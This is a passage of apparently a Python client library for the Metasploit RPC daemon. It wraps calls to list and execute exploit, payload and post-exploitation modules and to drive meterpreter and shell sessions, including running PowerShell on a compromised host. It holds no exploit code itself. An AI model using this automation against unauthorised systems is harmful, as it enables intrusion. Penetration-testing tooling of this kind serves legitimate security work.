def disconnect(self): 1010 | """ 1011 | Disconnect from the database. 1012 | """ 1013 | self.rpc.call(MsfRpcMethod.DbDisconnect) 1014 | 1015 | @property 1016 | def workspaces(self): 1017 | """ 1018 | A WorkspaceManager object. 1019 | """ 1020 | return WorkspaceManager(self.rpc) 1021 | 1022 | @property 1023 | def workspace(self): 1024 | """ 1025 | The name of the current workspace. 1026 | """ 1027 | return self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace'] 1028 | 1029 | @workspace.setter 1030 | def workspace(self, w): 1031 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, [w]) 1032 | 1033 | 1034 | class AuthManager(MsfManager): 1035 | 1036 | def login(self, password, **kwargs): 1037 | """ 1038 | Login to the msfrpc daemon. 1039 | 1040 | Mandatory Arguments: 1041 | - password : the password used to login to msfrpc 1042 | 1043 | Optional Keyword Arguments: 1044 | - username : the username used to authenticate to msfrpcd (default: msf) 1045 | - uri : the msfrpcd URI (default: /api/) 1046 | - port : the remote msfrpcd port to connect to (default: 55553) 1047 | - server : the remote server IP address hosting msfrpcd (default: localhost) 1048 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled) 1049 | """ 1050 | return MsfRpcClient(password, **kwargs) 1051 | 1052 | def logout(self, sid): 1053 | """ 1054 | Logs out a user for a given session ID. 1055 | 1056 | Mandatory Arguments: 1057 | - sid : a session ID that is active. 1058 | """ 1059 | return self.rpc.call(MsfRpcMethod.AuthLogout, [sid]) 1060 | 1061 | @property 1062 | def tokens(self): 1063 | """ 1064 | The current list of active session IDs. 1065 | """ 1066 | return self.rpc.call(MsfRpcMethod.AuthTokenList)['tokens'] 1067 | 1068 | def add(self, token): 1069 | """ 1070 | Add a session ID or token. 1071 | 1072 | Mandatory Argument: 1073 | - token : a random string used as a session identifier. 1074 | """ 1075 | self.rpc.call(MsfRpcMethod.AuthTokenAdd, [token]) 1076 | 1077 | def remove(self, token): 1078 | """ 1079 | Remove a session ID or token. 1080 | 1081 | Mandatory Argument: 1082 | - token : a session ID or token that is active. 1083 | """ 1084 | self.rpc.call(MsfRpcMethod.AuthTokenRemove, [token]) 1085 | 1086 | def generate(self): 1087 | """ 1088 | Generate a session ID or token. 1089 | """ 1090 | return self.rpc.call(MsfRpcMethod.AuthTokenGenerate)['token'] 1091 | 1092 | 1093 | class PluginManager(MsfManager): 1094 | 1095 | @property 1096 | def list(self): 1097 | """ 1098 | A list of loaded plugins. 1099 | """ 1100 | return self.rpc.call(MsfRpcMethod.PluginLoaded)['plugins'] 1101 | 1102 | def load(self, plugin): 1103 | """ 1104 | Load a plugin of a given name. 1105 | 1106 | Mandatory Arguments: 1107 | - plugin : a name of a plugin to load. 1108 | """ 1109 | self.rpc.call(MsfRpcMethod.PluginLoad, [plugin]) 1110 | 1111 | def unload(self, plugin): 1112 | """ 1113 | Unload a plugin of a given name. 1114 | 1115 | Mandatory Arguments: 1116 | - plugin : a name of a loaded plugin to unload. 1117 | """ 1118 | self.rpc.call(MsfRpcMethod.PluginUnload, [plugin]) 1119 | 1120 | 1121 | class JobManager(MsfManager): 1122 | 1123 | @property 1124 | def list(self): 1125 | """ 1126 | A list of currently running jobs. 1127 | """ 1128 | return self.rpc.call(MsfRpcMethod.JobList) 1129 | 1130 | def stop(self, jobid): 1131 | """ 1132 | Stop a job. 1133 | 1134 | Mandatory Argument: 1135 | - jobid : the ID of the job. 1136 | """ 1137 | self.rpc.call(MsfRpcMethod.JobStop, [jobid]) 1138 | 1139 | def info(self, jobid): 1140 | """ 1141 | Get job information for a particular job. 1142 | 1143 | Mandatory Argument: 1144 | - jobid : the ID of the job. 1145 | """ 1146 | return self.rpc.call(MsfRpcMethod.JobInfo, [jobid]) 1147 | 1148 | 1149 | class CoreManager(MsfManager): 1150 | 1151 | @property 1152 | def version(self): 1153 | """ 1154 | The version of msf core. 1155 | """ 1156 | return self.rpc.call(MsfRpcMethod.CoreVersion) 1157 | 1158 | def stop(self): 1159 | """ 1160 | Stop the core. 1161 | """ 1162 | self.rpc.call(MsfRpcMethod.CoreStop) 1163 | 1164 | def setg(self, var, val): 1165 | """ 1166 | Set a global variable 1167 | 1168 | Mandatory Arguments: 1169 | - var : the variable name 1170 | - val : the variable value 1171 | """ 1172 | self.rpc.call(MsfRpcMethod.CoreSetG, [var, val]) 1173 | 1174 | def unsetg(self, var): 1175 | """ 1176 | Unset a global variable 1177 | 1178 | Mandatory Arguments: 1179 | - var : the variable name 1180 | """ 1181 | self.rpc.call(MsfRpcMethod.CoreUnsetG, [var]) 1182 | 1183 | def save(self): 1184 | """ 1185 | Save the core state. 1186 | """ 1187 | self.rpc.call(MsfRpcMethod.CoreSave) 1188 | 1189 | def reload(self): 1190 | """ 1191 | Reload all modules in the core. 1192 | """ 1193 | self.rpc.call(MsfRpcMethod.CoreReloadModules) 1194 | 1195 | @property 1196 | def stats(self): 1197 | """ 1198 | Get module statistics from the core. 1199 | """ 1200 | return self.rpc.call(MsfRpcMethod.CoreModuleStats) 1201 | 1202 | def addmodulepath(self, path): 1203 | """ 1204 | Add a search path for additional modules. 1205 | 1206 | Mandatory Arguments: 1207 | - path : the path to search for modules. 1208 | """ 1209 | return self.rpc.call(MsfRpcMethod.CoreAddModulePath, [path]) 1210 | 1211 | @property 1212 | def threads(self): 1213 | """ 1214 | The current threads running in the core. 1215 | """ 1216 | return self.rpc.call(MsfRpcMethod.CoreThreadList) 1217 | 1218 | def kill(self, threadid): 1219 | """ 1220 | Kill a thread running in the core. 1221 | 1222 | Mandatory Arguments: 1223 | - threadid : the thread ID. 1224 | """ 1225 | self.rpc.call(MsfRpcMethod.CoreThreadKill, [threadid]) 1226 | 1227 | 1228 | class MsfModule(object): 1229 | 1230 | def __init__(self, rpc, mtype, mname): 1231 | """ 1232 | Initializes an msf module object. 1233 | 1234 | Mandatory Arguments: 1235 | - rpc : the msfrpc client object. 1236 | - mtype : the module type (e.g. 'exploit') 1237 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header') 1238 | """ 1239 | 1240 | self.moduletype = mtype 1241 | self.modulename = mname 1242 | self.rpc = rpc 1243 | self._info = rpc.call(MsfRpcMethod.ModuleInfo, [mtype, mname]) 1244 | property_attributes = ["advanced", "evasion", "options", "required", "runoptions"] 1245 | for k in self._info: 1246 | if k not in property_attributes: 1247 | # don't try to set property attributes 1248 | setattr(self, k, self._info.get(k)) 1249 | self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, [mtype, mname]) 1250 | self._roptions = [] 1251 | self._aoptions = [] 1252 | self._eoptions = [] 1253 | self._runopts = {} 1254 | for o in self._moptions: 1255 | if self._moptions[o]['required']: 1256 | self._roptions.append(o) 1257 | if self._moptions[o]['advanced']: 1258 | self._aoptions.append(o) 1259 | if self._moptions[o]['evasion']: 1260 | self._eoptions.append(o) 1261 | if 'default' in self._moptions[o]: 1262 | self._runopts[o] = self._moptions[o]['default'] 1263 | 1264 | @property 1265 | def options(self): 1266 | """ 1267 | All the module options. 1268 | """ 1269 | return list(self._moptions.keys()) 1270 | 1271 | @property 1272 | def required(self): 1273 | """ 1274 | The required module options. 1275 | """ 1276 | return self._roptions 1277 | 1278 | @property 1279 | def missing_required(self): 1280 | """ 1281 | List of missing required options 1282 | """ 1283 | outstanding = list(set(self.required).difference(list(self._runopts.keys()))) 1284 | return outstanding 1285 | 1286 | @property 1287 | def evasion(self): 1288 | """ 1289 | Module options that are used for evasion. 1290 | """ 1291 | return self._eoptions 1292 | 1293 | @property 1294 | def advanced(self): 1295 | """ 1296 | Advanced module options. 1297 | """ 1298 | return self._aoptions 1299 | 1300 | @property 1301 | def runoptions(self): 1302 | """ 1303 | The running (currently set) options for a module. This will raise an error 1304 | if some of the required options are missing. 1305 | """ 1306 | # outstanding = self.missing_required() 1307 | # if outstanding: 1308 | # raise TypeError('Module missing required parameter: %s' % ', '.join(outstanding)) 1309 | return self._runopts 1310 | 1311 | def optioninfo(self, option): 1312 | """ 1313 | Get information about the module option 1314 | 1315 | Mandatory Argument: 1316 | - option : the option name. 1317 | """ 1318 | return self._moptions[option] 1319 | 1320 | def __getitem__(self, item): 1321 | """ 1322 | Get the current option value. 1323 | 1324 | Mandatory Arguments: 1325 | - item : the option name. 1326 | """ 1327 | if item not in self._moptions: 1328 | raise KeyError("Invalid option '%s'." % item) 1329 | return self._runopts.get(item) 1330 | 1331 | def __setitem__(self, key, value): 1332 | """ 1333 | Set the current option value. 1334 | 1335 | Mandatory Arguments: 1336 | - key : the option name. 1337 | - value : the option value. 1338 | """ 1339 | 1340 | if key not in self.options: 1341 | raise KeyError("Invalid option '%s'." % key) 1342 | elif 'enums' in self._moptions[key] and value not in self._moptions[key]['enums']: 1343 | raise ValueError("Value ('%s') is not one of %s" % (value, repr(self._moptions[key]['enums']))) 1344 | elif self._moptions[key]['type'] == 'bool' and not isinstance(value, bool): 1345 | raise TypeError("Value must be a boolean not '%s'" % type(value).__name__) 1346 | elif self._moptions[key]['type'] in ['integer', 'float'] and not isinstance(value, Number): 1347 | raise TypeError("Value must be an integer not '%s'" % type(value).__name__) 1348 | self._runopts[key] = value 1349 | 1350 | def __delitem__(self, key): 1351 | del self._runopts[key] 1352 | 1353 | def __contains__(self, item): 1354 | return item in self._runopts 1355 | 1356 | def update(self, d): 1357 | """ 1358 | Update a set of options. 1359 | 1360 | Mandatory Arguments: 1361 | - d : a dictionary of options 1362 | """ 1363 | for k in d: 1364 | self[k] = d[k] 1365 | 1366 | def execute(self, **kwargs): 1367 | """ 1368 | Executes the module with its run options as parameters. 1369 | 1370 | Optional Keyword Arguments: 1371 | - payload : the payload of an exploit module (this is mandatory if the module is an exploit). 1372 | - **kwargs : can contain any module options. 1373 | """ 1374 | runopts = self.runoptions.copy() 1375 | if isinstance(self, ExploitModule): 1376 | payload = kwargs.get('payload') 1377 | runopts['TARGET'] = self.target 1378 | if 'DisablePayloadHandler' in runopts and runopts['DisablePayloadHandler']: 1379 | pass 1380 | elif payload is None: 1381 | runopts['DisablePayloadHandler'] = True 1382 | else: 1383 | if isinstance(payload, PayloadModule): 1384 | if payload.modulename not in self.payloads: 1385 | raise ValueError( 1386 | 'Invalid payload (%s) for given target (%d).' % (payload.modulename, self.target) 1387 | ) 1388 | runopts['PAYLOAD'] = payload.modulename 1389 | for k, v in payload.runoptions.items(): 1390 | if v is None or (isinstance(v, str) and not v): 1391 | continue 1392 | if k not in runopts or runopts[k] is None or \ 1393 | (isinstance(runopts[k], str) and not runopts[k]): 1394 | runopts[k] = v 1395 | # runopts.update(payload.runoptions) 1396 | elif isinstance(payload, str): 1397 | if payload not in self.payloads: 1398 | raise ValueError('Invalid payload (%s) for given target (%d).' % (payload, self.target)) 1399 | runopts['PAYLOAD'] = payload 1400 | else: 1401 | raise TypeError("Expected type str or PayloadModule not '%s'" % type(kwargs['payload']).__name__) 1402 | 1403 | return self.rpc.call(MsfRpcMethod.ModuleExecute, [self.moduletype, self.modulename, runopts]) 1404 | 1405 | 1406 | class ExploitModule(MsfModule): 1407 | 1408 | def __init__(self, rpc, exploit): 1409 | """ 1410 | Initializes the use of an exploit module. 1411 | 1412 | Mandatory Arguments: 1413 | - rpc : the rpc client used to communicate with msfrpcd 1414 | - exploit : the name of the exploit module. 1415 | """ 1416 | super(ExploitModule, self).__init__(rpc, 'exploit', exploit) 1417 | self._target = self._info.get('default_target', 0) 1418 | 1419 | @property 1420 | def payloads(self): 1421 | """ 1422 | A list of compatible payloads. 1423 | """ 1424 | # return self.rpc.call(MsfRpcMethod.ModuleCompatiblePayloads, self.modulename)['payloads'] 1425 | return self.targetpayloads(self.target) 1426 | 1427 | @property 1428 | def target(self): 1429 | return self._target 1430 | 1431 | @target.setter 1432 | def target(self, target): 1433 | if target not in self.targets: 1434 | raise ValueError('Target must be one of %s' % repr(list(self.targets.keys()))) 1435 | self._target = target 1436 | 1437 | def targetpayloads(self, t=0): 1438 | """ 1439 | Returns a list of compatible payloads for a given target ID. 1440 | 1441 | Optional Keyword Arguments: 1442 | - t : the target ID (default: 0, e.g. 'Automatic') 1443 | """ 1444 | return self.rpc.call(MsfRpcMethod.ModuleTargetCompatiblePayloads, [self.modulename, t])['payloads'] 1445 | 1446 | 1447 | class PostModule(MsfModule): 1448 | 1449 | def __init__(self, rpc, post): 1450 | """ 1451 | Initializes the use of a post exploitation module. 1452 | 1453 | Mandatory Arguments: 1454 | - rpc : the rpc client used to communicate with msfrpcd 1455 | - post : the name of the post exploitation module. 1456 | """ 1457 | super(PostModule, self).__init__(rpc, 'post', post) 1458 | 1459 | @property 1460 | def sessions(self): 1461 | """ 1462 | A list of compatible shell/meterpreter sessions. 1463 | """ 1464 | return self.rpc.compatiblesessions(self.modulename) 1465 | 1466 | 1467 | class EncoderModule(MsfModule): 1468 | 1469 | def __init__(self, rpc, encoder): 1470 | """ 1471 | Initializes the use of an encoder module. 1472 | 1473 | Mandatory Arguments: 1474 | - rpc : the rpc client used to communicate with msfrpcd 1475 | - encoder : the name of the encoder module. 1476 | """ 1477 | super(EncoderModule, self).__init__(rpc, 'encoder', encoder) 1478 | 1479 | 1480 | class AuxiliaryModule(MsfModule): 1481 | 1482 | def __init__(self, rpc, auxiliary): 1483 | """ 1484 | Initializes the use of an auxiliary module. 1485 | 1486 | Mandatory Arguments: 1487 | - rpc : the rpc client used to communicate with msfrpcd 1488 | - auxiliary : the name of the auxiliary module. 1489 | """ 1490 | super(AuxiliaryModule, self).__init__(rpc, 'auxiliary', auxiliary) 1491 | 1492 | 1493 | class PayloadModule(MsfModule): 1494 | 1495 | def __init__(self, rpc, payload): 1496 | """ 1497 | Initializes the use of a payload module. 1498 | 1499 | Mandatory Arguments: 1500 | - rpc : the rpc client used to communicate with msfrpcd 1501 | - payload : the name of the payload module. 1502 | """ 1503 | super(PayloadModule, self).__init__(rpc, 'payload', payload) 1504 | 1505 | 1506 | class NopModule(MsfModule): 1507 | 1508 | def __init__(self, rpc, nop): 1509 | """ 1510 | Initializes the use of a nop module. 1511 | 1512 | Mandatory Arguments: 1513 | - rpc : the rpc client used to communicate with msfrpcd 1514 | - nop : the name of the nop module. 1515 | """ 1516 | super(NopModule, self).__init__(rpc, 'nop', nop) 1517 | 1518 | 1519 | class ModuleManager(MsfManager): 1520 | 1521 | def execute(self, modtype, modname, **kwargs): 1522 | """ 1523 | Execute the module. 1524 | 1525 | Mandatory Arguments: 1526 | - modtype : the module type (e.g. 'exploit') 1527 | - modname : the module name (e.g. 'exploits/windows/http/icecast_header') 1528 | 1529 | Optional Keyword Arguments: 1530 | - **kwargs : the module's run options 1531 | """ 1532 | return self.rpc.call(MsfRpcMethod.ModuleExecute, [modtype, modname, kwargs]) 1533 | 1534 | @property 1535 | def exploits(self): 1536 | """ 1537 | A list of exploit modules. 1538 | """ 1539 | return self.rpc.call(MsfRpcMethod.ModuleExploits)['modules'] 1540 | 1541 | @property 1542 | def evasion(self): 1543 | """ 1544 | A list of exploit modules. 1545 | """ 1546 | return self.rpc.call(MsfRpcMethod.ModuleEvasion)['modules'] 1547 | 1548 | @property 1549 | def payloads(self): 1550 | """ 1551 | A list of payload modules. 1552 | """ 1553 | return self.rpc.call(MsfRpcMethod.ModulePayloads)['modules'] 1554 | 1555 | @property 1556 | def auxiliary(self): 1557 | """ 1558 | A list of auxiliary modules. 1559 | """ 1560 | return self.rpc.call(MsfRpcMethod.ModuleAuxiliary)['modules'] 1561 | 1562 | @property 1563 | def post(self): 1564 | """ 1565 | A list of post modules. 1566 | """ 1567 | return self.rpc.call(MsfRpcMethod.ModulePost)['modules'] 1568 | 1569 | @property 1570 | def encodeformats(self): 1571 | """ 1572 | A list of encoding formats. 1573 | """ 1574 | return self.rpc.call(MsfRpcMethod.ModuleEncodeFormats) 1575 | 1576 | @property 1577 | def encoders(self): 1578 | """ 1579 | A list of encoder modules. 1580 | """ 1581 | return self.rpc.call(MsfRpcMethod.ModuleEncoders)['modules'] 1582 | 1583 | @property 1584 | def nops(self): 1585 | """ 1586 | A list of nop modules. 1587 | """ 1588 | return self.rpc.call(MsfRpcMethod.ModuleNops)['modules'] 1589 | 1590 | def use(self, mtype, mname): 1591 | """ 1592 | Returns a module object. 1593 | 1594 | Mandatory Arguments: 1595 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header') 1596 | """ 1597 | if mtype == 'exploit': 1598 | return ExploitModule(self.rpc, mname) 1599 | elif mtype == 'post': 1600 | return PostModule(self.rpc, mname) 1601 | elif mtype == 'encoder': 1602 | return EncoderModule(self.rpc, mname) 1603 | elif mtype == 'auxiliary': 1604 | return AuxiliaryModule(self.rpc, mname) 1605 | elif mtype == 'nop': 1606 | return NopModule(self.rpc, mname) 1607 | elif mtype == 'payload': 1608 | return PayloadModule(self.rpc, mname) 1609 | raise MsfRpcError('Unknown module type %s not: exploit, post, encoder, auxiliary, nop, or payload' % mname) 1610 | 1611 | 1612 | class MsfSession(object): 1613 | 1614 | def __init__(self, sid, rpc, sd): 1615 | """ 1616 | Initialize a meterpreter or shell session. 1617 | 1618 | Mandatory Arguments: 1619 | - sid : the session identifier. 1620 | - rpc : the msfrpc client object. 1621 | - sd : the session description 1622 | """ 1623 | self.sid = sid 1624 | self.rpc = rpc 1625 | self.__dict__.update(sd) 1626 | for s in self.__dict__: 1627 | if re.match(r'\d+', s): 1628 | if 'plugins' not in self.__dict__[s]: 1629 | self.__dict__[s]['plugins'] = [] 1630 | if 'write_dir' not in self.__dict__[s]: 1631 | self.__dict__[s]['write_dir'] = '' 1632 | 1633 | def stop(self): 1634 | """ 1635 | Stop a meterpreter or shell session. 1636 | """ 1637 | return self.rpc.call(MsfRpcMethod.SessionStop, [self.sid]) 1638 | 1639 | @property 1640 | def modules(self): 1641 | """ 1642 | A list of compatible session modules. 1643 | """ 1644 | return self.rpc.call(MsfRpcMethod.SessionCompatibleModules, [self.sid])['modules'] 1645 | 1646 | @property 1647 | def ring(self): 1648 | return SessionRing(self.rpc, self.sid) 1649 | 1650 | 1651 | class MeterpreterSession(MsfSession): 1652 | 1653 | def read(self): 1654 | """ 1655 | Read data from the meterpreter session. 1656 | """ 1657 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterRead, [self.sid])['data'] 1658 | 1659 | def write(self, data): 1660 | """ 1661 | Write data to the meterpreter session. 1662 | 1663 | Mandatory Arguments: 1664 | - data : arbitrary data or commands 1665 | """ 1666 | if not data.endswith('\n'): 1667 | data += '\n' 1668 | self.rpc.call(MsfRpcMethod.SessionMeterpreterWrite, [self.sid, data]) 1669 | 1670 | def runsingle(self, data): 1671 | """ 1672 | Run a single meterpreter command 1673 | 1674 | Mandatory Arguments: 1675 | - data : arbitrary data or command 1676 | """ 1677 | self.rpc.call(MsfRpcMethod.SessionMeterpreterRunSingle, [self.sid, data]) 1678 | return self.read() 1679 | 1680 | def runscript(self, path): 1681 | """ 1682 | Run a meterpreter script 1683 | 1684 | Mandatory Arguments: 1685 | - path : path to a meterpreter script on the msfrpcd host. 1686 | """ 1687 | self.rpc.call(MsfRpcMethod.SessionMeterpreterScript, [self.sid, path]) 1688 | return self.read() 1689 | 1690 | @property 1691 | def info(self): 1692 | """ 1693 | Get the session's data dictionary 1694 | """ 1695 | return self.__dict__[self.sid] 1696 | 1697 | @property 1698 | def sep(self): 1699 | """ 1700 | The operating system path separator. 1701 | """ 1702 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterDirectorySeparator, [self.sid])['separator'] 1703 | 1704 | def detach(self): 1705 | """ 1706 | Detach the meterpreter session. 1707 | """ 1708 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionDetach, [self.sid]) 1709 | 1710 | def kill(self): 1711 | """ 1712 | Kill the meterpreter session. 1713 | """ 1714 | self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionKill, [self.sid]) 1715 | 1716 | def tabs(self, line): 1717 | """ 1718 | Return a list of commands for a partial command line (tab completion). 1719 | 1720 | Mandatory Arguments: 1721 | - line : a partial command line for completion. 1722 | """ 1723 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterTabs, [self.sid, line])['tabs'] 1724 | 1725 | def load_plugin(self, plugin): 1726 | """ 1727 | Loads a session plugin 1728 | 1729 | Mandatory Arguments: 1730 | - plugin : name of plugin. 1731 | """ 1732 | end_strs = ['Success', 'has already been loaded'] 1733 | out = self.run_with_output(f'load {plugin}', end_strs) 1734 | self.__dict__[self.sid]['plugins'].append(plugin) 1735 | return out 1736 | 1737 | def run_with_output(self, cmd, end_strs=None, timeout=301, timeout_exception=True, api_call='write'): 1738 | """ 1739 | Run a command and wait for the output. 1740 | 1741 | Mandatory Arguments: 1742 | - data : command to run in the session. 1743 | - end_strs : a list of strings which signify you've gathered all the command's output, e.g., ['finished', 'done'] 1744 | 1745 | Optional Arguments: 1746 | - timeout : number of seconds to wait if end_strs aren't found. 300s is default MSF comm timeout. 1747 | - timeout_exception : If True, library will throw an error when it hits the timeout. 1748 | If False, library will simply return whatever output it got within the timeout limit. 1749 | """ 1750 | if api_call == 'write': 1751 | self.write(cmd) 1752 | out = '' 1753 | else: 1754 | out = self.runsingle(cmd) 1755 | time.sleep(1) 1756 | out += self.gather_output(cmd, out, end_strs, timeout, timeout_exception) # gather last of data buffer 1757 | return out 1758 | 1759 | def gather_output(self, cmd, out, end_strs, timeout, timeout_exception): 1760 | """ 1761 | Wait for session command to get all output. 1762 | """ 1763 | counter = 1 1764 | while counter < timeout: 1765 | out += self.read() 1766 | if end_strs == None: 1767 | if len(out) > 0: 1768 | return out 1769 | else: 1770 | if any(end_str in out for end_str in end_strs): 1771 | return out 1772 | time.sleep(1) 1773 | counter += 1 1774 | 1775 | if timeout_exception: 1776 | msg = f"Command <{repr(cmd)[1:-1]}> timed out in <{timeout}s> on session <{self.sid}>" 1777 | if end_strs == None: 1778 | msg += f" without finding any termination strings within <{end_strs}> in the output: <{out}>" 1779 | raise MsfError(msg) 1780 | else: 1781 | return out 1782 | 1783 | def run_shell_cmd_with_output(self, cmd, end_strs, exit_shell=True): 1784 | """ 1785 | Runs a Windows command from a meterpreter shell 1786 | 1787 | Optional Arguments: 1788 | exit_shell : Exit the shell inside meterpreter once command is done. 1789 | """ 1790 | self.start_shell() 1791 | out = self.run_with_output(cmd, end_strs) 1792 | if exit_shell == True: 1793 | self.read() # Clear buffer 1794 | res = self.detach() 1795 | if 'result' in res: 1796 | if res['result'] != 'success': 1797 | raise MsfError('Shell failed to exit on meterpreter session ' + self.sid) 1798 | return out 1799 | 1800 | def start_shell(self): 1801 | """ 1802 | Drops meterpreter session into shell 1803 | """ 1804 | cmd = 'shell' 1805 | end_strs = ['>'] 1806 | self.run_with_output(cmd, end_strs) 1807 | return True 1808 | 1809 | def import_psh(self, script_path): 1810 | """ 1811 | Import a powershell script. 1812 | 1813 | Mandatory Arguments: 1814 | - script_path : Path on the local machine to the Powershell script. 1815 | """ 1816 | if 'powershell' not in self.info['plugins']: 1817 | self.load_plugin('powershell') 1818 | end_strs = ['[-]', '[+]'] 1819 | out = self.run_with_output(f'powershell_import {script_path}', end_strs) 1820 | if 'failed to load' in out: 1821 | raise MsfRpcError(f'File {script_path} failed to load.') 1822 | return out 1823 | 1824 | def run_psh_cmd(self, ps_cmd, timeout=310, timeout_exception=True): 1825 | """ 1826 | Runs a powershell command and get the output. 1827 | 1828 | Mandatory Arguments: 1829 | - ps_cmd : command to run in the session. 1830 | """ 1831 | if 'powershell' not in self.info['plugins']: 1832 | self.load_plugin('powershell') 1833 | ps_cmd = f'powershell_execute "{ps_cmd}"' 1834 | out = self.run_with_output(ps_cmd, ['[-]', '[+]'], timeout=timeout, timeout_exception=timeout_exception) 1835 | return out 1836 | 1837 | def get_writeable_dir(self): 1838 | """ 1839 | Gets the temp directory which we are assuming is writeable 1840 | """ 1841 | if self.info['write_dir'] == '': 1842 | out = self.run_shell_cmd_with_output('echo %TEMP%', ['>']) 1843 | # Example output: 'echo %TEMP%\nC:\\Users\\user\\AppData\\Local\\Temp\r\n\r\nC:\\Windows\\system32>' 1844 | write_dir = out.split('\n')[1][:-1] + '\\' 1845 | self.__dict__[self.sid]['write_dir'] = write_dir 1846 | return write_dir 1847 | else: 1848 | return self.info['write_dir'] 1849 | 1850 | 1851 | class SessionRing(object): 1852 | 1853 | def __init__(self, rpc, token): 1854 | self.rpc = rpc 1855 | self.sid = token 1856 | 1857 | def read(self, seq=None): 1858 | """ 1859 | Reads the session ring. 1860 | 1861 | Optional Keyword Arguments: 1862 | - seq : the sequence ID of the ring (default: 0) 1863 | """ 1864 | if seq is not None: 1865 | return self.rpc.call(MsfRpcMethod.SessionRingRead, [self.sid, seq]) 1866 | return self.rpc.call(MsfRpcMethod.SessionRingRead, [self.sid]) 1867 | 1868 | def put(self, line): 1869 | """ 1870 | Add a command to the session history. 1871 | 1872 | Mandatory Arguments: 1873 | - line : arbitrary data. 1874 | """ 1875 | self.rpc.call(MsfRpcMethod.SessionRingPut, [self.sid, line]) 1876 | 1877 | @property 1878 | def last(self): 1879 | """ 1880 | Returns the last sequence ID in the session ring. 1881 | """ 1882 | return int(self.rpc.call(MsfRpcMethod.SessionRingLast, [self.sid])['seq']) 1883 | 1884 | def clear(self): 1885 | """ 1886 | Clear the session ring. 1887 | """ 1888 | return self.rpc.call(MsfRpcMethod.SessionRingClear, [self.sid]) 1889 | 1890 | 1891 | class ShellSession(MsfSession): 1892 | 1893 | def read(self): 1894 | """ 1895 | Read data from the shell session. 1896 | """ 1897 | return self.rpc.call(MsfRpcMethod.SessionShellRead, [self.sid])['data'] 1898 | 1899 | def write(self, data): 1900 | """ 1901 | Write data to the shell session. 1902 | 1903 | Mandatory Arguments: 1904 | - data : arbitrary data or commands 1905 | """ 1906 | if not data.endswith('\n'): 1907 | data += '\n' 1908 | self.rpc.call(MsfRpcMethod.SessionShellWrite, [self.sid, data]) 1909 | 1910 | def upgrade(self, lhost, lport): 1911 | """ 1912 | Upgrade the current shell session. 1913 | """ 1914 | self.rpc.call(MsfRpcMethod.SessionShellUpgrade, [self.sid, lhost, lport]) 1915 | return self.read() 1916 | 1917 | def run_with_output(self, cmd, end_strs, timeout=310): 1918 | """ 1919 | Run a command and wait for the output. 1920 | 1921 | Mandatory Arguments: 1922 | - data : command to run in the session. 1923 | - end_strs : a list of strings which signify you've gathered all the command's output, e.g., ['finished', 'done'] 1924 | 1925 | Optional Arguments: 1926 | - timeout : number of seconds to wait if end_strs aren't found. 300s is default MSF comm timeout. 1927 | """ 1928 | self.write(cmd) 1929 | out = self.gather_output(cmd, end_strs, timeout) 1930 | return out 1931 | 1932 | def gather_output(self, cmd, end_strs, timeout): 1933 | """ 1934 | Wait for session command to get all output. 1935 | """ 1936 | out = '' 1937 | counter = 0 1938 | while counter < timeout + 1: 1939 | time.sleep(1) 1940 | out += self.read() 1941 | if any(end_str in out for end_str in end_strs): 1942 | return out 1943 | counter += 1 1944 | 1945 | raise MsfError(f"Command <{repr(cmd)[1:-1]}> timed out in <{timeout}s> on session <{self.sid}> " 1946 | f"without finding any termination strings within <{end_strs}> in the output: <{out}>") 1947 | 1948 | 1949 | class SessionManager(MsfManager): 1950 | 1951 | @property 1952 | def list(self): 1953 | """ 1954 | A list of active sessions. 1955 | """ 1956 | return {str(k): v for k, v in self.rpc.call(MsfRpcMethod.SessionList).items()} # Convert int id to str 1957 | 1958 | def session(self, sid): 1959 | """ 1960 | Returns a session object for meterpreter or shell sessions. 1961 | 1962 | Mandatory Arguments: 1963 | - sid : the session identifier or uuid 1964 | """ 1965 | s = self.list 1966 | if sid not in s: 1967 | for k in s: 1968 | if s[k]['uuid'] == sid: 1969 | if s[sid]['type'] == 'meterpreter': 1970 | return MeterpreterSession(sid, self.rpc, s) 1971 | elif s[sid]['type'] == 'shell': 1972 | return ShellSession(sid, self.rpc, s) 1973 | raise KeyError('Session ID (%s) does not exist' % sid) 1974 | if s[sid]['type'] == 'meterpreter': 1975 | return MeterpreterSession(sid, self.rpc, s) 1976 | elif s[sid]['type'] == 'shell': 1977 | return ShellSession(sid, self.rpc, s) 1978 | raise NotImplementedError('Could not determine session type: %s' % s[sid]['type']) 1979 | 1980 | 1981 | class MsfConsole(object): 1982 | 1983 | def __init__(self, rpc, cid=None): 1984 | """ 1985 | Initializes an msf console. 1986 | 1987 | Mandatory Arguments: 1988 | - rpc : the msfrpc client object. 1989 | 1990 | Optional Keyword Arguments: 1991 | - cid : the console identifier if it exists already otherwise a new one will be created. 1992 | """ 1993 | self.rpc = rpc 1994 | if cid is None: 1995 | r = self.rpc.call(MsfRpcMethod.ConsoleCreate) 1996 | if 'id' in r: 1997 | self.cid = r['id'] 1998 | else: 1999 | raise MsfRpcError('Unable to create a new console.') 2000 | else: 2001 | self.cid = cid 2002 | 2003 | def read(self): 2004 | """ 2005 | Read data from the console. 2006 | """ 2007 | return self.rpc.call(MsfRpcMethod.ConsoleRead, [self.cid]) 2008 | 2009 | def write(self, command): 2010 | """ 2011 | Write data to the console. 2012 | """ 2013 | if not command.endswith('\n'): 2014 | command += '\n' 2015 | self.rpc.call(MsfRpcMethod.ConsoleWrite, [self.cid, command]) 2016 | 2017 | def sessionkill(self): 2018 | """ 2019 | Kill all active meterpreter or shell sessions. 2020 | """ 2021 | self.rpc.call(MsfRpcMethod.ConsoleSessionKill, [self.cid]) 2022 | 2023 | def sessiondetach(self): 2024 | """ 2025 | Detach the current meterpreter or shell session. 2026 | """ 2027 | self.rpc.call(MsfRpcMethod.ConsoleSessionDetach, [self.cid]) 2028 | 2029 | def tabs(self, line): 2030 | """ 2031 | Tab completion for console commands. 2032 | 2033 | Mandatory Arguments: 2034 | - line : a partial command to be completed. 2035 | """ 2036 | return self.rpc.call(MsfRpcMethod.ConsoleTabs, [self.cid, line])['tabs'] 2037 | 2038 | def 